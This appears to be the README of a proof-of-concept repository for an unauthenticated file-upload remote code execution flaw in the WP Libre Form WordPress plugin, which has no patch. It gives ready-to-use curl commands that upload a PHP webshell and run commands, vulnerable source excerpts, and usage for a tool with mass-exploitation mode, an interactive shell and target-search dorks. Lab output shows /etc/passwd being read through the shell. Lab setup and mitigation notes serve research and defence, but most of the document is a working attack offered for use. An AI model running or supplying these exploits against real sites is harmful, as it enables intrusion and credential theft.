
Detection and exploitation PoC for CVE-2026-118423, an unauthenticated file upload to RCE in WP Libre Form <= 1.5.0.1, with webshell upload, mass mode, and lab setup.
Plugin status: closed on WordPress.org on 8 September 2026 — no fix version available. Verified: 2026-11-06, isolated lab (WP 6.7.1 / PHP 8.2 / Apache).
The WordPress plugin WP Libre Form stores files from form submissions without any
type/extension validation. Its handler is registered on the wp_ajax_nopriv_* hook (without
authentication) and calls move_uploaded_file() raw.
An unauthenticated attacker uploads a .php file to wp-content/uploads/ → the file is web-accessible →
RCE as the web server user (usually www-data).
# 1. Upload webshell (unauth, tanpa nonce, tanpa login)
curl "http://TARGET/wp-admin/admin-ajax.php" \
-F "action=wplf_submit" -F "_form_id=32" \
-F "[email protected];type=application/x-php;filename=pwn.php"
# -> {"ok":1,"submission_id":55,...}
# 2. Eksekusi
curl "http://TARGET/wp-content/uploads/2026/11/lf_2611060113-0-pwn.php?c=id"
# -> uid=33(www-data) gid=33(www-data) groups=33(www-data)
| Type | CWE-434 Unrestricted Upload of File with Dangerous Type |
| Auth required | None |
| User interaction | None |
| Prerequisite | At least 1 published wplf-form form (usually the Contact page) |
| Impact | RCE — command execution as the web server user |
| CVSS 3.1 | 9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Fixed version | None (plugin closed by vendor) |
From RCE, an attacker can read wp-config.php (DB credentials), access
the file system, pivot to the internal network, or install a permanent backdoor.
inc/wplf-ajax.php — wplf_ajax_submit_handler():
add_action( 'wp_ajax_nopriv_wplf_submit', 'wplf_ajax_submit_handler' ); // <-- tanpa auth
foreach ( $_FILES as $key => $file ) {
// Is this enough security wise? <-- diduga sang penulis sendiri
if ( $should_store_images_in_medialibrary ) {
$attach_id = media_handle_upload( $key, 0, ... ); // aman (WP core memfilter)
} else {
$name = 'lf_' . date( 'ymdhs' ) . '-' . $counter . '-' . sanitize_file_name( $file['name'] );
move_uploaded_file( $file['tmp_name'], $uploads_path['path'] . '/' . $name ); // <-- RENTAN
}
}
sanitize_file_name() does not filter extensions. There is no wp_check_filetype(),
no whitelist/blacklist, no MIME check.
| # | Endpoint | Auth | Notes |
|---|---|---|---|
| 1 | POST /wp-admin/admin-ajax.php (action=wplf_submit) | ❌ | always available |
| 2 | POST /wp-json/wplf/v1/submit | ❌ | requires pretty permalinks |
| 3 | POST /index.php?rest_route=/wplf/v1/submit | ❌ | always available |
Paths 2–3 are REST routes registered without a permission_callback —
WordPress itself flags this via the X-WP-DoingItWrong header.
poc.pyAutomatic detection and exploitation, menu or CLI mode, single or mass.
[1] Single — detect
[2] Single — exploit (upload + verify)
[3] Mass — detect (targets.txt)
[4] Mass — exploit (targets.txt)
[0] Keluar
git clone https://github.com/im0xfay/CVE-2026-118423 && cd CVE-2026-118423
pip install requests
python3 poc.py # menu interaktif
python3 poc.py -u http://TARGET # detect-only (default)
python3 poc.py -u http://TARGET --exploit --i-know-what-im-doing
python3 poc.py -u http://TARGET --exploit --i-know-what-im-doing --shell
python3 poc.py --targets targets.txt -t 10 -o hasil.json
| Flag | Function |
|---|---|
-u, --url | target (may be repeated) |
--targets FILE | list of targets, one per line |
--exploit | enable upload (destructive) — requires --i-know-what-im-doing |
--i-know-what-im-doing | explicit confirmation for --exploit |
--shell | interactive shell after RCE |
--endpoint | force path: auto / ajax / rest / rest_query |
--field | file field name (default: auto-probe 6 candidates) |
--tz-offset | server timezone offset (hours); default auto-sweep |
--cmd-param | webshell command parameter name (default c) |
-t, --threads | threads for mass mode |
-o, --json-out | save results to JSON |
-q, --quiet | only show VULN/RCE |
-v, --verbose | show every request |
| Tag | Meaning |
|---|---|
RCE | upload and execution verified (uid= read from webshell) |
VULN | unauth primitive proven / file uploaded but execution not yet confirmed |
INFO | plugin detected but no published form |
CLEAN | plugin not detected |
UNKNOWN | target does not respond |
Full reproduction in lab — actual output:
$ python3 poc.py -u http://127.0.0.1:8096 --exploit --i-know-what-im-doing
RCE http://127.0.0.1:8096 v1.5 [ajax] shell=http://127.0.0.1:8096/wp-content/uploads/2026/11/lf_2611060113-0-lf-poc-4w54cm7nbb.php
- route wplf/v1/submit tanpa permission_callback (X-WP-DoingItWrong)
- form 32 reachable via ajax
- time-anchor: server Date header
- exec: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Objective evidence (not just markers):
$ curl "<shell>?c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ curl "<shell>?c=head%20-2%20/etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
./scripts/fetch-source.sh # ambil source plugin rentan (tidak disertakan di repo)
./scripts/lab-up.sh # bangun lab: WP 6.7.1 + MySQL 8 @ 127.0.0.1:8096
python3 poc.py -u http://127.0.0.1:8096
./scripts/lab-down.sh # matikan
Requires Docker. The script uses plain docker run (not docker compose).
lab/docker-compose.yml is included as an alternative reference if the compose
plugin is available.
poc.py tool utama (deteksi + eksploitasi)
CVE-2026-118423-report.md laporan lengkap (8 seksi)
README.md dokumen ini
DISCLAIMER.md penggunaan yang sah & risiko
SECURITY.md kebijakan pelaporan kerentanan
LICENSE MIT
docs/
root-cause.md analisis source + bukti dari lab
exploit-chain-verified.md rantai eksploitasi yang terverifikasi end-to-end
bypass-analysis.md teknik ekstensi yang diuji, + hasilnya
self-attack.md 10 mode kegagalan & mitigasinya
fofa-dorks.md dork pencarian target
run-log.md log riset + bug yang ditemukan
scripts/
fetch-source.sh ambil source plugin rentan (SVN → src/, gitignored)
lab-up.sh bangun lab
lab-down.sh matikan lab
lab/docker-compose.yml definisi lab (referensi)
.github/workflows/ CI: lint + lab end-to-end
src/ (source plugin pihak ketiga) tidak disertakan di repo — ambil sendiri
via scripts/fetch-source.sh.
Tidak ada versi patch (trunk == 1.5.0.1). Prioritas: hapus/nonaktifkan plugin.